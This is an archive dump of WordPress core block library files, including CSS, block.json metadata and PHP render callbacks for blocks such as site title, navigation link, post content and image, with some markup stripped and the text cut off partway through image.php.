.wp-block-site-logo a,.wp-block-site-logo img{ border-radius:inherit; } .wp-block-site-logo.aligncenter{ margin-left:auto; margin-right:auto; text-align:center; } .wp-block-site-logo.is-style-rounded{ border-radius:9999px; }blocks/site-logo/style.css000064400000000762151202620300011571 0ustar00.wp-block-site-logo{ box-sizing:border-box; line-height:0; } .wp-block-site-logo a{ display:inline-block; line-height:0; } .wp-block-site-logo.is-default-size img{ height:auto; width:120px; } .wp-block-site-logo img{ height:auto; max-width:100%; } .wp-block-site-logo a,.wp-block-site-logo img{ border-radius:inherit; } .wp-block-site-logo.aligncenter{ margin-left:auto; margin-right:auto; text-align:center; } .wp-block-site-logo.is-style-rounded{ border-radius:9999px; }blocks/site-tagline/editor.min.css000064400000000104151202620300013152 0ustar00.wp-block-site-tagline__placeholder{border:1px dashed;padding:1em 0}blocks/site-tagline/block.json000064400000002314151202620300012362 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/site-tagline", "title": "Site Tagline", "category": "theme", "description": "Describe in a few words what the site is about. The tagline can be used in search results or when sharing on social networks even if it’s not displayed in the theme design.", "keywords": [ "description" ], "textdomain": "default", "attributes": { "textAlign": { "type": "string" } }, "example": {}, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-site-tagline-editor" } blocks/site-tagline/editor.css000064400000000114151202620300012371 0ustar00.wp-block-site-tagline__placeholder{ border:1px dashed; padding:1em 0; }blocks/site-tagline/editor-rtl.css000064400000000114151202620300013170 0ustar00.wp-block-site-tagline__placeholder{ border:1px dashed; padding:1em 0; }blocks/site-tagline/editor-rtl.min.css000064400000000104151202620300013751 0ustar00.wp-block-site-tagline__placeholder{border:1px dashed;padding:1em 0}blocks/site-title/editor.min.css000064400000000176151202620300012661 0ustar00.wp-block-site-title__placeholder{border:1px dashed;padding:1em 0}.editor-styles-wrapper .wp-block-site-title a{color:inherit}blocks/site-title/style-rtl.min.css000064400000000045151202620300013325 0ustar00.wp-block-site-title a{color:inherit}blocks/site-title/block.json000064400000003031151202620300012055 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/site-title", "title": "Site Title", "category": "theme", "description": "Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.", "textdomain": "default", "attributes": { "level": { "type": "number", "default": 1 }, "textAlign": { "type": "string" }, "isLink": { "type": "boolean", "default": true }, "linkTarget": { "type": "string", "default": "_self" } }, "example": { "viewportWidth": 500 }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "padding": true, "margin": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true, "lineHeight": true, "fontAppearance": true, "letterSpacing": true, "textTransform": true } } }, "editorStyle": "wp-block-site-title-editor", "style": "wp-block-site-title" } blocks/site-title/editor.css000064400000000215151202620300012071 0ustar00.wp-block-site-title__placeholder{ border:1px dashed; padding:1em 0; } .editor-styles-wrapper .wp-block-site-title a{ color:inherit; }blocks/site-title/style.min.css000064400000000045151202620300012526 0ustar00.wp-block-site-title a{color:inherit}blocks/site-title/editor-rtl.css000064400000000215151202620300012670 0ustar00.wp-block-site-title__placeholder{ border:1px dashed; padding:1em 0; } .editor-styles-wrapper .wp-block-site-title a{ color:inherit; }blocks/site-title/editor-rtl.min.css000064400000000176151202620300013460 0ustar00.wp-block-site-title__placeholder{border:1px dashed;padding:1em 0}.editor-styles-wrapper .wp-block-site-title a{color:inherit}blocks/site-title/style-rtl.css000064400000000052151202620300012541 0ustar00.wp-block-site-title a{ color:inherit; }blocks/site-title/style.css000064400000000052151202620300011742 0ustar00.wp-block-site-title a{ color:inherit; }blocks/template-part/editor.min.css000064400000003441151202620300013353 0ustar00.block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}blocks/template-part/theme.css000064400000000146151202620300012404 0ustar00.wp-block-template-part.has-background{ margin-bottom:0; margin-top:0; padding:1.25em 2.375em; }blocks/template-part/block.json000064400000001125151202620300012553 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/template-part", "title": "Template Part", "category": "theme", "description": "Edit the different global regions of your site, like the header, footer, sidebar, or create your own.", "textdomain": "default", "attributes": { "slug": { "type": "string" }, "theme": { "type": "string" }, "tagName": { "type": "string" }, "area": { "type": "string" } }, "supports": { "align": true, "html": false, "reusable": false }, "editorStyle": "wp-block-template-part-editor" } blocks/template-part/theme-rtl.min.css000064400000000133151202620300013761 0ustar00.wp-block-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}blocks/template-part/editor.css000064400000003551151202620300012573 0ustar00.block-editor-template-part__selection-modal{ z-index:1000001; } .block-editor-template-part__selection-modal .block-editor-block-patterns-list{ column-count:2; column-gap:24px; } @media (min-width:1280px){ .block-editor-template-part__selection-modal .block-editor-block-patterns-list{ column-count:3; } } .block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .block-library-template-part__selection-search{ background:#fff; padding:16px 0; position:sticky; top:0; z-index:2; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color); } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color); } .is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff; }blocks/template-part/theme.min.css000064400000000133151202620300013162 0ustar00.wp-block-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}blocks/template-part/theme-rtl.css000064400000000146151202620300013203 0ustar00.wp-block-template-part.has-background{ margin-bottom:0; margin-top:0; padding:1.25em 2.375em; }blocks/template-part/editor-rtl.css000064400000003551151202620300013372 0ustar00.block-editor-template-part__selection-modal{ z-index:1000001; } .block-editor-template-part__selection-modal .block-editor-block-patterns-list{ column-count:2; column-gap:24px; } @media (min-width:1280px){ .block-editor-template-part__selection-modal .block-editor-block-patterns-list{ column-count:3; } } .block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .block-library-template-part__selection-search{ background:#fff; padding:16px 0; position:sticky; top:0; z-index:2; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color); } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color); } .is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff; }blocks/template-part/editor-rtl.min.css000064400000003441151202620300014152 0ustar00.block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}blocks/term-description/style-rtl.min.css000064400000000256151202620300014536 0ustar00:where(.wp-block-term-description){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0}blocks/term-description/block.json000064400000001705151202620300013270 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/term-description", "title": "Term Description", "category": "theme", "description": "Display the description of categories, tags and custom taxonomies when viewing an archive.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" } }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "padding": true, "margin": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/term-description/style.min.css000064400000000256151202620300013737 0ustar00:where(.wp-block-term-description){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0}blocks/term-description/style-rtl.css000064400000000300151202620300013742 0ustar00:where(.wp-block-term-description){ margin-bottom:var(--wp--style--block-gap); margin-top:var(--wp--style--block-gap); } .wp-block-term-description p{ margin-bottom:0; margin-top:0; }blocks/term-description/style.css000064400000000300151202620300013143 0ustar00:where(.wp-block-term-description){ margin-bottom:var(--wp--style--block-gap); margin-top:var(--wp--style--block-gap); } .wp-block-term-description p{ margin-bottom:0; margin-top:0; }blocks/widget-group/block.json000064400000000477151202620300012422 0ustar00{ "apiVersion": 3, "name": "core/widget-group", "category": "widgets", "attributes": { "title": { "type": "string" } }, "supports": { "html": false, "inserter": true, "customClassName": true, "reusable": false }, "editorStyle": "wp-block-widget-group-editor", "style": "wp-block-widget-group" } blocks/post-content.php000064400000004106151202620300011157 0ustar00context['postId'] ) ) { return ''; } $post_id = $block->context['postId']; if ( isset( $seen_ids[ $post_id ] ) ) { // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = WP_DEBUG && WP_DEBUG_DISPLAY; return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } $seen_ids[ $post_id ] = true; // When inside the main loop, we want to use queried object // so that `the_preview` for the current post can apply. // We force this behavior by omitting the third argument (post ID) from the `get_the_content`. $content = get_the_content(); // Check for nextpage to display page links for paginated posts. if ( has_block( 'core/nextpage' ) ) { $content .= wp_link_pages( array( 'echo' => 0 ) ); } /** This filter is documented in wp-includes/post-template.php */ $content = apply_filters( 'the_content', str_replace( ']]>', ']]>', $content ) ); unset( $seen_ids[ $post_id ] ); if ( empty( $content ) ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => 'entry-content' ) ); return ( '
    ' . $content . '
    ' ); } /** * Registers the `core/post-content` block on the server. */ function register_block_core_post_content() { register_block_type_from_metadata( __DIR__ . '/post-content', array( 'render_callback' => 'render_block_core_post_content', ) ); } add_action( 'init', 'register_block_core_post_content' ); blocks/navigation-link.php000064400000027231151202620300011620 0ustar00 array(), 'inline_styles' => '', ); // Text color. $named_text_color = null; $custom_text_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) { $custom_text_color = $context['customOverlayTextColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) { $named_text_color = $context['overlayTextColor']; } elseif ( array_key_exists( 'customTextColor', $context ) ) { $custom_text_color = $context['customTextColor']; } elseif ( array_key_exists( 'textColor', $context ) ) { $named_text_color = $context['textColor']; } elseif ( isset( $context['style']['color']['text'] ) ) { $custom_text_color = $context['style']['color']['text']; } // If has text color. if ( ! is_null( $named_text_color ) ) { // Add the color class. array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) ); } elseif ( ! is_null( $custom_text_color ) ) { // Add the custom color inline style. $colors['css_classes'][] = 'has-text-color'; $colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color ); } // Background color. $named_background_color = null; $custom_background_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) { $custom_background_color = $context['customOverlayBackgroundColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) { $named_background_color = $context['overlayBackgroundColor']; } elseif ( array_key_exists( 'customBackgroundColor', $context ) ) { $custom_background_color = $context['customBackgroundColor']; } elseif ( array_key_exists( 'backgroundColor', $context ) ) { $named_background_color = $context['backgroundColor']; } elseif ( isset( $context['style']['color']['background'] ) ) { $custom_background_color = $context['style']['color']['background']; } // If has background color. if ( ! is_null( $named_background_color ) ) { // Add the background-color class. array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) ); } elseif ( ! is_null( $custom_background_color ) ) { // Add the custom background-color inline style. $colors['css_classes'][] = 'has-background'; $colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_navigation_link_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @return string */ function block_core_navigation_link_render_submenu_icon() { return ''; } /** * Decodes a url if it's encoded, returning the same url if not. * * @param string $url The url to decode. * * @return string $url Returns the decoded url. */ function block_core_navigation_link_maybe_urldecode( $url ) { $is_url_encoded = false; $query = parse_url( $url, PHP_URL_QUERY ); $query_params = wp_parse_args( $query ); foreach ( $query_params as $query_param ) { if ( rawurldecode( $query_param ) !== $query_param ) { $is_url_encoded = true; break; } } if ( $is_url_encoded ) { return rawurldecode( $url ); } return $url; } /** * Renders the `core/navigation-link` block. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_link( $attributes, $content, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft or if the ID does not exist. if ( $is_post_type && $navigation_link_has_id ) { $post = get_post( $attributes['id'] ); if ( ! $post || 'publish' !== $post->post_status ) { return ''; } } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $font_sizes = block_core_navigation_link_build_css_font_sizes( $block->context ); $classes = array_merge( $font_sizes['css_classes'] ); $style_attribute = $font_sizes['inline_styles']; $css_classes = trim( implode( ' ', $classes ) ); $has_submenu = count( $block->inner_blocks ) > 0; $kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] ); $is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) . ( $is_active ? ' current-menu-item' : '' ), 'style' => $style_attribute, ) ); $html = '
  • ' . ''; if ( isset( $attributes['label'] ) ) { $html .= wp_kses_post( $attributes['label'] ); } $html .= ''; // Add description if available. if ( ! empty( $attributes['description'] ) ) { $html .= ''; $html .= wp_kses_post( $attributes['description'] ); $html .= ''; } $html .= ''; // End anchor tag content. if ( isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'] && $has_submenu ) { // The submenu icon can be hidden by a CSS rule on the Navigation Block. $html .= '' . block_core_navigation_link_render_submenu_icon() . ''; } if ( $has_submenu ) { $inner_blocks_html = ''; foreach ( $block->inner_blocks as $inner_block ) { $inner_blocks_html .= $inner_block->render(); } $html .= sprintf( '
      %s
    ', $inner_blocks_html ); } $html .= '
  • '; return $html; } /** * Returns a navigation link variation * * @param WP_Taxonomy|WP_Post_Type $entity post type or taxonomy entity. * @param string $kind string of value 'taxonomy' or 'post-type'. * * @return array */ function build_variation_for_navigation_link( $entity, $kind ) { $title = ''; $description = ''; if ( property_exists( $entity->labels, 'item_link' ) ) { $title = $entity->labels->item_link; } if ( property_exists( $entity->labels, 'item_link_description' ) ) { $description = $entity->labels->item_link_description; } $variation = array( 'name' => $entity->name, 'title' => $title, 'description' => $description, 'attributes' => array( 'type' => $entity->name, 'kind' => $kind, ), ); // Tweak some value for the variations. $variation_overrides = array( 'post_tag' => array( 'name' => 'tag', 'attributes' => array( 'type' => 'tag', 'kind' => $kind, ), ), 'post_format' => array( // The item_link and item_link_description for post formats is the // same as for tags, so need to be overridden. 'title' => __( 'Post Format Link' ), 'description' => __( 'A link to a post format' ), 'attributes' => array( 'type' => 'post_format', 'kind' => $kind, ), ), ); if ( array_key_exists( $entity->name, $variation_overrides ) ) { $variation = array_merge( $variation, $variation_overrides[ $entity->name ] ); } return $variation; } /** * Register the navigation link block. * * @uses render_block_core_navigation() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation_link() { $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' ); // Use two separate arrays as a way to order the variations in the UI. // Known variations (like Post Link and Page Link) are added to the // `built_ins` array. Variations for custom post types and taxonomies are // added to the `variations` array and will always appear after `built-ins. $built_ins = array(); $variations = array(); if ( $post_types ) { foreach ( $post_types as $post_type ) { $variation = build_variation_for_navigation_link( $post_type, 'post-type' ); if ( $post_type->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } if ( $taxonomies ) { foreach ( $taxonomies as $taxonomy ) { $variation = build_variation_for_navigation_link( $taxonomy, 'taxonomy' ); if ( $taxonomy->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } register_block_type_from_metadata( __DIR__ . '/navigation-link', array( 'render_callback' => 'render_block_core_navigation_link', 'variations' => array_merge( $built_ins, $variations ), ) ); } add_action( 'init', 'register_block_core_navigation_link' ); blocks/site-tagline.php000064400000001742151202620300011112 0ustar00 $align_class_name ) ); return sprintf( '

    %2$s

    ', $wrapper_attributes, $site_tagline ); } /** * Registers the `core/site-tagline` block on the server. */ function register_block_core_site_tagline() { register_block_type_from_metadata( __DIR__ . '/site-tagline', array( 'render_callback' => 'render_block_core_site_tagline', ) ); } add_action( 'init', 'register_block_core_site_tagline' ); blocks/loginout.php000064400000002544151202620300010366 0ustar00 false ) ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); return '
    ' . $contents . '
    '; } /** * Registers the `core/loginout` block on server. */ function register_block_core_loginout() { register_block_type_from_metadata( __DIR__ . '/loginout', array( 'render_callback' => 'render_block_core_loginout', ) ); } add_action( 'init', 'register_block_core_loginout' ); blocks/comments-pagination-next.php000064400000003476151202620300013463 0ustar00context['postId'] ) ) { return ''; } $comment_vars = build_comment_query_vars_from_block( $block ); $max_page = ( new WP_Comment_Query( $comment_vars ) )->max_num_pages; $default_label = __( 'Newer Comments' ); $label = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? $attributes['label'] : $default_label; $pagination_arrow = get_comments_pagination_arrow( $block, 'next' ); $filter_link_attributes = static function () { return get_block_wrapper_attributes(); }; add_filter( 'next_comments_link_attributes', $filter_link_attributes ); if ( $pagination_arrow ) { $label .= $pagination_arrow; } $next_comments_link = get_next_comments_link( $label, $max_page ); remove_filter( 'next_posts_link_attributes', $filter_link_attributes ); if ( ! isset( $next_comments_link ) ) { return ''; } return $next_comments_link; } /** * Registers the `core/comments-pagination-next` block on the server. */ function register_block_core_comments_pagination_next() { register_block_type_from_metadata( __DIR__ . '/comments-pagination-next', array( 'render_callback' => 'render_block_core_comments_pagination_next', ) ); } add_action( 'init', 'register_block_core_comments_pagination_next' ); blocks/post-title.php000064400000004023151202620300010624 0ustar00context['postId'] ) ) { return ''; } /** * The `$post` argument is intentionally omitted so that changes are reflected when previewing a post. * See: https://github.com/WordPress/gutenberg/pull/37622#issuecomment-1000932816. */ $title = get_the_title(); if ( ! $title ) { return ''; } $tag_name = 'h2'; if ( isset( $attributes['level'] ) ) { $tag_name = 'h' . $attributes['level']; } if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $rel = ! empty( $attributes['rel'] ) ? 'rel="' . esc_attr( $attributes['rel'] ) . '"' : ''; $title = sprintf( '%4$s', get_the_permalink( $block->context['postId'] ), esc_attr( $attributes['linkTarget'] ), $rel, $title ); } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<%1$s %2$s>%3$s', $tag_name, $wrapper_attributes, $title ); } /** * Registers the `core/post-title` block on the server. */ function register_block_core_post_title() { register_block_type_from_metadata( __DIR__ . '/post-title', array( 'render_callback' => 'render_block_core_post_title', ) ); } add_action( 'init', 'register_block_core_post_title' ); blocks/require-dynamic-blocks.php000064400000007550151202620300013101 0ustar00%4$s', esc_url( home_url() ), esc_attr( $link_target ), $aria_current, esc_html( $site_title ) ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classes ) ) ); return sprintf( '<%1$s %2$s>%3$s', $tag_name, $wrapper_attributes, // already pre-escaped if it is a link. $attributes['isLink'] ? $site_title : esc_html( $site_title ) ); } /** * Registers the `core/site-title` block on the server. */ function register_block_core_site_title() { register_block_type_from_metadata( __DIR__ . '/site-title', array( 'render_callback' => 'render_block_core_site_title', ) ); } add_action( 'init', 'register_block_core_site_title' ); blocks/comment-date.php000064400000003074151202620300011102 0ustar00context['commentId'] ) ) { return ''; } $comment = get_comment( $block->context['commentId'] ); if ( empty( $comment ) ) { return ''; } $classes = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : ''; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); $formatted_date = get_comment_date( isset( $attributes['format'] ) ? $attributes['format'] : '', $comment ); $link = get_comment_link( $comment ); if ( ! empty( $attributes['isLink'] ) ) { $formatted_date = sprintf( '%2s', esc_url( $link ), $formatted_date ); } return sprintf( '
    ', $wrapper_attributes, esc_attr( get_comment_date( 'c', $comment ) ), $formatted_date ); } /** * Registers the `core/comment-date` block on the server. */ function register_block_core_comment_date() { register_block_type_from_metadata( __DIR__ . '/comment-date', array( 'render_callback' => 'render_block_core_comment_date', ) ); } add_action( 'init', 'register_block_core_comment_date' ); blocks/comments-pagination.php000064400000002211151202620300012471 0ustar00 $classes ) ); return sprintf( '
    %2$s
    ', $wrapper_attributes, $content ); } /** * Registers the `core/comments-pagination` block on the server. */ function register_block_core_comments_pagination() { register_block_type_from_metadata( __DIR__ . '/comments-pagination', array( 'render_callback' => 'render_block_core_comments_pagination', ) ); } add_action( 'init', 'register_block_core_comments_pagination' ); blocks/image.php000064400000034557151202620300007621 0ustar00next_tag( 'img' ) || null === $processor->get_attribute( 'src' ) ) { return ''; } if ( isset( $attributes['data-id'] ) ) { // Add the data-id="$id" attribute to the img element // to provide backwards compatibility for the Gallery Block, // which now wraps Image Blocks within innerBlocks. // The data-id attribute is added in a core/gallery `render_block_data` hook. $processor->set_attribute( 'data-id', $attributes['data-id'] ); } $link_destination = isset( $attributes['linkDestination'] ) ? $attributes['linkDestination'] : 'none'; $lightbox_settings = block_core_image_get_lightbox_settings( $block->parsed_block ); $view_js_file_handle = 'wp-block-image-view'; $script_handles = $block->block_type->view_script_handles; /* * If the lightbox is enabled and the image is not linked, add the filter * and the JavaScript view file. */ if ( isset( $lightbox_settings ) && 'none' === $link_destination && isset( $lightbox_settings['enabled'] ) && true === $lightbox_settings['enabled'] ) { $block->block_type->supports['interactivity'] = true; if ( ! in_array( $view_js_file_handle, $script_handles, true ) ) { $block->block_type->view_script_handles = array_merge( $script_handles, array( $view_js_file_handle ) ); } /* * This render needs to happen in a filter with priority 15 to ensure * that it runs after the duotone filter and that duotone styles are * applied to the image in the lightbox. We also need to ensure that the * lightbox works with any plugins that might use filters as well. We * can consider removing this in the future if the way the blocks are * rendered changes, or if a new kind of filter is introduced. */ add_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15, 2 ); } else { /* * Remove the filter and the JavaScript view file if previously added by * other Image blocks. */ remove_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15 ); // If the script is not needed, and it is still in the `view_script_handles`, remove it. if ( in_array( $view_js_file_handle, $script_handles, true ) ) { $block->block_type->view_script_handles = array_diff( $script_handles, array( $view_js_file_handle ) ); } } return $processor->get_updated_html(); } /** * Adds the lightboxEnabled flag to the block data. * * This is used to determine whether the lightbox should be rendered or not. * * @param array $block Block data. * * @return array Filtered block data. */ function block_core_image_get_lightbox_settings( $block ) { // Get the lightbox setting from the block attributes. if ( isset( $block['attrs']['lightbox'] ) ) { $lightbox_settings = $block['attrs']['lightbox']; // If the lightbox setting is not set in the block attributes, // check the legacy lightbox settings that are set using the // 